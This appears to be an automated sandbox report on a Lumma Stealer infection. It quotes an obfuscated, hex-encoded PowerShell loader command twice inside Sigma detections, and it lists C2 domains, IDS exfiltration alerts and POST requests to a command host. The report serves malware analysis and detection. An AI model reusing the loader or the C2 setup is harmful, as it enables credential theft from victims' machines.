Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function htXbx($EYwy){return -split ($EYwy -replace '..', '0x$& ')};$sMkL = htXbx('0F7A7222E17CFB1BB92172CFD10B1A0A35F2D236DE6DD8D72D66B13FEDB4D7CF6A19FA5E844D4EA4BDA294B8324F3D40BBE3A32FA2F602F7EEC40E64690703556F440E32E54DB889F70490BFAB024711BA156E7EF3961FB117120CBA4913EA1E5D84ACF6F55EBA7C85C4EDEAE94CA6F88E91D98428FF8C02DEA04EB6BC87CD7054DA2412B8E711F8C1A790EDD10E33300549B54953E993973674C4C6B322DF9A94608D0E38BF1B68335F96BFDC063A0ACAC3F5674C4FB62FD421AFD6B98437F6E9805448603B36D23A3100350C5424A024DEBEE06EFCCB25BC5C2ED9E55F0ECDF8D82A5F5B3DDE3DD01D9414613DC77C41FF3714787CA86BAB941A84FA1697BFD67AE1442E846F4C0BCD12067B97F4C4761C790D99134685BD29D33EB13930E881348CCEB581A392F1C4D3A954998DE262A182E3BA192BC030972631DFF7761B192A8E761FB393F15CEC5503F481993757B7386A6DEFCB30893CB5510F8D9DFCD357A4503657121993C1DA20619FC16A76829A33DC8BEC2C25B345E40D743AE3FA6908A2256106EDB3D401A541BBC6B63D25361ED338A28142AEDFD2E2AFA4224709FD2AB99578CAD2D426AC01B625107469B2CFC6F80544CD0418A85DF7B0034592F05C391690F1CB1F0E38C8C36984958B671982168DA7FCD4BA7B76DA7D1F52FBD0449C19027B914FDE6DE5FAAA8CB6BF3F2A4274A8F5CCEED4E85FE2BAE43E079DB816A326CFEC5CF89E8BDA8C7656D7ABB681564558044E3E53669EE9994092F98411AB22F4889A3454BB3DA6791DB0F9C47830F4C06A5461824C4CD5AF8028E685AAA4298897434D4728EDCF0C7F21C0C4A773C3B93B8D500AD8247E5F882A6D58627B2848A409F59326CE2F3C94419453CBD81D72A42EFC7700BF0F755EBF04E26ADC65680A8AB81DC31B386413F68BDCDF1C0851EABFB0BBAE9CCC1EEC68F50A6C1E0D56474F854AE2306A1E2A3F8B94A0127DD3E51C4A536048EF14CDBF4B53A4E0C3EEFEFA4EED2CFE4541E54F2D69773940D13F9015002C0555FDC45820883EE8D40D25214D7139E6E12032C2BFE100C55FA40524F297C439B1A01353D2284C6CEF35AC57E4400EDA829B3E642624CDFA0BC2973809DC3345E9E56C2D1156147CEA34B91CFFF59896E54208B4CFD4207A17F7308C33D76C6413AB80C8D92695DDC466BC03F75D4179A7F1740B7A3E5A6C6D80F2FB8D74FFB55BD62E27D14A6503857D18986D8E19A1D8E35AD79FEE150ABE148D1B1C3E2D9D92C0B0BDF7DE18DFF55FD02B3212CC62401C8900CAECAAADE5361BFC807F5384EEA46BABDA1F2032769CDA2B56A725574AD832150B7026D06D0547D37743BD92A3253A6BE7C4BE7457307E6CDE57B7840C35ECC06809A8FA8BF2351601EA6C1E3A025BA6CD107626BBF16CFED99355A4AC130AD2BEF7D8E3B1D936DC4D667BAE44082E02E0251C2355712885575901AEFDC0139AA662D0B9C4ACBF7403673B3C7DDF9E6E3AB15A286FC41C2D998ED91EDD22436BA61DD3F3D745E36681712D110962FBD642A2CB901801E7AF328696116A425AC0D6F7C474A297EBC5F89A3C52EE8DB03DE0214B816208AD47E4A4EB4864F152130AEA847AD1031A9DDED4248D031BCE58B447EB0CC8763D2CDBF3348D053D54B42C707D6DE3B3166FBF46CFB8F8AB676945A5D0B7FF4DD2DAF54B40F69592D58649EFE2B1F4CDADC627160733882C0C916DE660976CBCD588F71A3D08308A76F8B82ED698B928D9B2C66911F8A2975942AC360069AC4B4D6C8C7E50E99B0CBD066A58477B4F336F9B12A5FE792E23ED42C6032B887E634ABCA3D08214B16E5953BBD4FFBD057E229E4B7A149D754E75229CD7B38CB289B484AE636864DAFC411FEA976653DC57F0E7B6EA81960AC0059DB8FD2E23F7D92ABD90CDC902BB6F71F0094EF783BB18777A34E0B7531A8C1A945811E9CB1DB684D87CE6D7755E48B400E6042DC835F88592C2BEEB4E79F

Sigma detected: Potential Encoded PowerShell Patterns In CommandLine

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function htXbx($EYwy){return -split ($EYwy -replace '..', '0x$& ')};$sMkL = htXbx('0F7A7222E17CFB1BB92172CFD10B1A0A35F2D236DE6DD8D72D66B13FEDB4D7CF6A19FA5E844D4EA4BDA294B8324F3D40BBE3A32FA2F602F7EEC40E64690703556F440E32E54DB889F70490BFAB024711BA156E7EF3961FB117120CBA4913EA1E5D84ACF6F55EBA7C85C4EDEAE94CA6F88E91D98428FF8C02DEA04EB6BC87CD7054DA2412B8E711F8C1A790EDD10E33300549B54953E993973674C4C6B322DF9A94608D0E38BF1B68335F96BFDC063A0ACAC3F5674C4FB62FD421AFD6B98437F6E9805448603B36D23A3100350C5424A024DEBEE06EFCCB25BC5C2ED9E55F0ECDF8D82A5F5B3DDE3DD01D9414613DC77C41FF3714787CA86BAB941A84FA1697BFD67AE1442E846F4C0BCD12067B97F4C4761C790D99134685BD29D33EB13930E881348CCEB581A392F1C4D3A954998DE262A182E3BA192BC030972631DFF7761B192A8E761FB393F15CEC5503F481993757B7386A6DEFCB30893CB5510F8D9DFCD357A4503657121993C1DA20619FC16A76829A33DC8BEC2C25B345E40D743AE3FA6908A2256106EDB3D401A541BBC6B63D25361ED338A28142AEDFD2E2AFA4224709FD2AB99578CAD2D426AC01B625107469B2CFC6F80544CD0418A85DF7B0034592F05C391690F1CB1F0E38C8C36984958B671982168DA7FCD4BA7B76DA7D1F52FBD0449C19027B914FDE6DE5FAAA8CB6BF3F2A4274A8F5CCEED4E85FE2BAE43E079DB816A326CFEC5CF89E8BDA8C7656D7ABB681564558044E3E53669EE9994092F98411AB22F4889A3454BB3DA6791DB0F9C47830F4C06A5461824C4CD5AF8028E685AAA4298897434D4728EDCF0C7F21C0C4A773C3B93B8D500AD8247E5F882A6D58627B2848A409F59326CE2F3C94419453CBD81D72A42EFC7700BF0F755EBF04E26ADC65680A8AB81DC31B386413F68BDCDF1C0851EABFB0BBAE9CCC1EEC68F50A6C1E0D56474F854AE2306A1E2A3F8B94A0127DD3E51C4A536048EF14CDBF4B53A4E0C3EEFEFA4EED2CFE4541E54F2D69773940D13F9015002C0555FDC45820883EE8D40D25214D7139E6E12032C2BFE100C55FA40524F297C439B1A01353D2284C6CEF35AC57E4400EDA829B3E642624CDFA0BC2973809DC3345E9E56C2D1156147CEA34B91CFFF59896E54208B4CFD4207A17F7308C33D76C6413AB80C8D92695DDC466BC03F75D4179A7F1740B7A3E5A6C6D80F2FB8D74FFB55BD62E27D14A6503857D18986D8E19A1D8E35AD79FEE150ABE148D1B1C3E2D9D92C0B0BDF7DE18DFF55FD02B3212CC62401C8900CAECAAADE5361BFC807F5384EEA46BABDA1F2032769CDA2B56A725574AD832150B7026D06D0547D37743BD92A3253A6BE7C4BE7457307E6CDE57B7840C35ECC06809A8FA8BF2351601EA6C1E3A025BA6CD107626BBF16CFED99355A4AC130AD2BEF7D8E3B1D936DC4D667BAE44082E02E0251C2355712885575901AEFDC0139AA662D0B9C4ACBF7403673B3C7DDF9E6E3AB15A286FC41C2D998ED91EDD22436BA61DD3F3D745E36681712D110962FBD642A2CB901801E7AF328696116A425AC0D6F7C474A297EBC5F89A3C52EE8DB03DE0214B816208AD47E4A4EB4864F152130AEA847AD1031A9DDED4248D031BCE58B447EB0CC8763D2CDBF3348D053D54B42C707D6DE3B3166FBF46CFB8F8AB676945A5D0B7FF4DD2DAF54B40F69592D58649EFE2B1F4CDADC627160733882C0C916DE660976CBCD588F71A3D08308A76F8B82ED698B928D9B2C66911F8A2975942AC360069AC4B4D6C8C7E50E99B0CBD066A58477B4F336F9B12A5FE792E23ED42C6032B887E634ABCA3D08214B16E5953BBD4FFBD057E229E4B7A149D754E75229CD7B38CB289B484AE636864DAFC411FEA976653DC57F0E7B6EA81960AC0059DB8FD2E23F7D92ABD90CDC902BB6F71F0094EF783BB18777A34E0B7531A8C1A945811E9CB1DB684D87CE6D7755E48B400E6042DC835F88592C2BEEB4E79F

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-22T13:44:20.650107+0100	2028371	3	Unknown Traffic	192.168.2.6	50007	104.21.48.1	443	TCP
2024-12-22T13:44:22.788622+0100	2028371	3	Unknown Traffic	192.168.2.6	50008	104.21.48.1	443	TCP
2024-12-22T13:44:25.100378+0100	2028371	3	Unknown Traffic	192.168.2.6	50009	104.21.48.1	443	TCP
2024-12-22T13:44:27.404929+0100	2028371	3	Unknown Traffic	192.168.2.6	50010	104.21.48.1	443	TCP
2024-12-22T13:44:29.685593+0100	2028371	3	Unknown Traffic	192.168.2.6	50011	104.21.48.1	443	TCP
2024-12-22T13:44:32.200268+0100	2028371	3	Unknown Traffic	192.168.2.6	50012	104.21.48.1	443	TCP
2024-12-22T13:44:34.269635+0100	2028371	3	Unknown Traffic	192.168.2.6	50014	104.21.48.1	443	TCP
2024-12-22T13:44:36.342390+0100	2028371	3	Unknown Traffic	192.168.2.6	50015	104.21.48.1	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-22T13:44:21.556888+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50007	104.21.48.1	443	TCP
2024-12-22T13:44:23.596894+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50008	104.21.48.1	443	TCP
2024-12-22T13:44:37.097108+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50015	104.21.48.1	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-22T13:44:21.556888+0100	2049836	1	A Network Trojan was detected	192.168.2.6	50007	104.21.48.1	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-22T13:44:23.596894+0100	2049812	1	A Network Trojan was detected	192.168.2.6	50008	104.21.48.1	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-22T13:44:35.070934+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	50014	104.21.48.1	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 22.2.powershell.exe.400000.0.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["necklacebudi.lat", "grannyejh.lat", "energyaffai.lat", "sustainskelet.lat", "learningypr.click", "rapeflowwj.lat", "discokeyus.lat", "crosshuaht.lat", "aspecteirs.lat"], "Build id": "jMw1IE--bigJ"}

Multi AV Scanner detection for submitted file

Source: winwidgetshp.mp4.hta

Virustotal: Detection: 14%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Sample uses string decryption to hide its real strings

Source: 22.2.powershell.exe.400000.0.unpack	String decryptor: rapeflowwj.lat
Source: 22.2.powershell.exe.400000.0.unpack	String decryptor: crosshuaht.lat
Source: 22.2.powershell.exe.400000.0.unpack	String decryptor: sustainskelet.lat
Source: 22.2.powershell.exe.400000.0.unpack	String decryptor: aspecteirs.lat
Source: 22.2.powershell.exe.400000.0.unpack	String decryptor: energyaffai.lat
Source: 22.2.powershell.exe.400000.0.unpack	String decryptor: necklacebudi.lat
Source: 22.2.powershell.exe.400000.0.unpack	String decryptor: discokeyus.lat
Source: 22.2.powershell.exe.400000.0.unpack	String decryptor: grannyejh.lat
Source: 22.2.powershell.exe.400000.0.unpack	String decryptor: learningypr.click
Source: 22.2.powershell.exe.400000.0.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 22.2.powershell.exe.400000.0.unpack	String decryptor: TeslaBrowser/5.5
Source: 22.2.powershell.exe.400000.0.unpack	String decryptor: - Screen Resoluton:
Source: 22.2.powershell.exe.400000.0.unpack	String decryptor: - Physical Installed Memory:
Source: 22.2.powershell.exe.400000.0.unpack	String decryptor: Workgroup: -
Source: 22.2.powershell.exe.400000.0.unpack	String decryptor: jMw1IE--bigJ

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 22_2_00419F2F CryptUnprotectData,

22_2_00419F2F

Source: unknown	HTTPS traffic detected: 104.21.18.182:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:50007 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:50009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:50011 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:50015 version: TLS 1.2

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: powershell.exe, 00000006.00000002.3467126225.00000000030A0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: powershell.exe, 00000006.00000002.3467126225.00000000030A0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: powershell.exe, 00000006.00000002.3510342893.00000000074D0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: powershell.exe, 00000006.00000002.3510342893.00000000074D0000.00000004.08000000.00040000.00000000.sdmp

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 074BC416h	6_2_074BC0E8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 074B697Dh	6_2_074B6758
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 074B697Dh	6_2_074B6768
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 074B61A5h	6_2_074B5E00
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 074B61A5h	6_2_074B5DF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 074BC416h	6_2_074BC1DE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 074BC416h	6_2_074BC0DB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp eax	22_2_00424010
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax+04h]	22_2_00424010
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [edx], cx	22_2_004189C3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edi, byte ptr [eax]	22_2_0040AC10
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 36D9DBB9h	22_2_0043E870
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp ecx	22_2_0043A8A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edi+1E1E4EFFh]	22_2_004090B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [edx], cl	22_2_004090B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [eax], cl	22_2_004170B8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 29FCC5D8h	22_2_004170B8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], E785F9BAh	22_2_004170B8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 3FE33C50h	22_2_004170B8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [esi], cl	22_2_0042D16A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov dword ptr [esp], ecx	22_2_0042991E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov dword ptr [esp], ecx	22_2_004291CB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx+53E0EF23h]	22_2_0042D1D8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [esi], cl	22_2_0042D1D8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	22_2_0042B980
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], E785F9BAh	22_2_00414A00
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov eax, dword ptr [edi+0Ch]	22_2_004022C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then push eax	22_2_0043BB50
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-000000A6h]	22_2_0041635B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+00000098h]	22_2_0042EB0D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+00000098h]	22_2_0042EB16
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp dword ptr [0044524Ch]	22_2_00426339
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov edi, eax	22_2_00402BD0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	22_2_004073F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	22_2_004073F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, edx	22_2_0041DB89
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp word ptr [esi+edx], 0000h	22_2_0041DB89
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov edx, eax	22_2_0043ACD0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], E785F9BAh	22_2_00416CE0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], E1CE25DBh	22_2_0043E4E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov edx, ecx	22_2_004094B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov edi, ebx	22_2_0042E543
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx-3Ah]	22_2_0042DD6F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [esi], al	22_2_0042CD79
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edi, byte ptr [ebp+eax-36C2D23Bh]	22_2_00427510
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx+00000098h]	22_2_0042DD10
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov eax, dword ptr [004471C4h]	22_2_0043BD10
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [ebx], ax	22_2_0041953B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then add esi, edi	22_2_0042D4CA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov edi, dword ptr [eax]	22_2_004385A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then push eax	22_2_004385A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx]	22_2_004385A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [esi], al	22_2_0042CDAB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	22_2_00434E50
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+3Ch]	22_2_0041CE7A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [esi], al	22_2_0042CE0F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ecx, word ptr [ebp+edx+02h]	22_2_00438E17
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [eax], cl	22_2_00415ED1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp word ptr [ebp+esi+00h], 0000h	22_2_0041DF70
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-5Ch]	22_2_0041DF70
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp dword ptr [00444794h]	22_2_00416F05
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [ebx], cx	22_2_0040C70C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [edi], al	22_2_0041C7D5
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], E5FE86B7h	22_2_0043AF80
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], E5FE86B7h	22_2_0043AF80
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [ebp+ebx*8+00h], C72EB52Eh	22_2_0043AF80

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:50014 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50015 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50007 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50007 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50008 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50008 -> 104.21.48.1:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: learningypr.click
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat

Source: global traffic

HTTP traffic detected: GET /hubus.xlsx HTTP/1.1Host: atsuka.thrivezest.orgConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 104.21.48.1 104.21.48.1

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50009 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50008 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50007 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50015 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50011 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50010 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50014 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50012 -> 104.21.48.1:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: learningypr.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 78Host: learningypr.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=HB1VYCV10Q0DSUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12828Host: learningypr.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=6NTLDMUFCLZKFZZ6BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15098Host: learningypr.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=RX2ZQDW2W0NV1DWJ16User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19962Host: learningypr.click
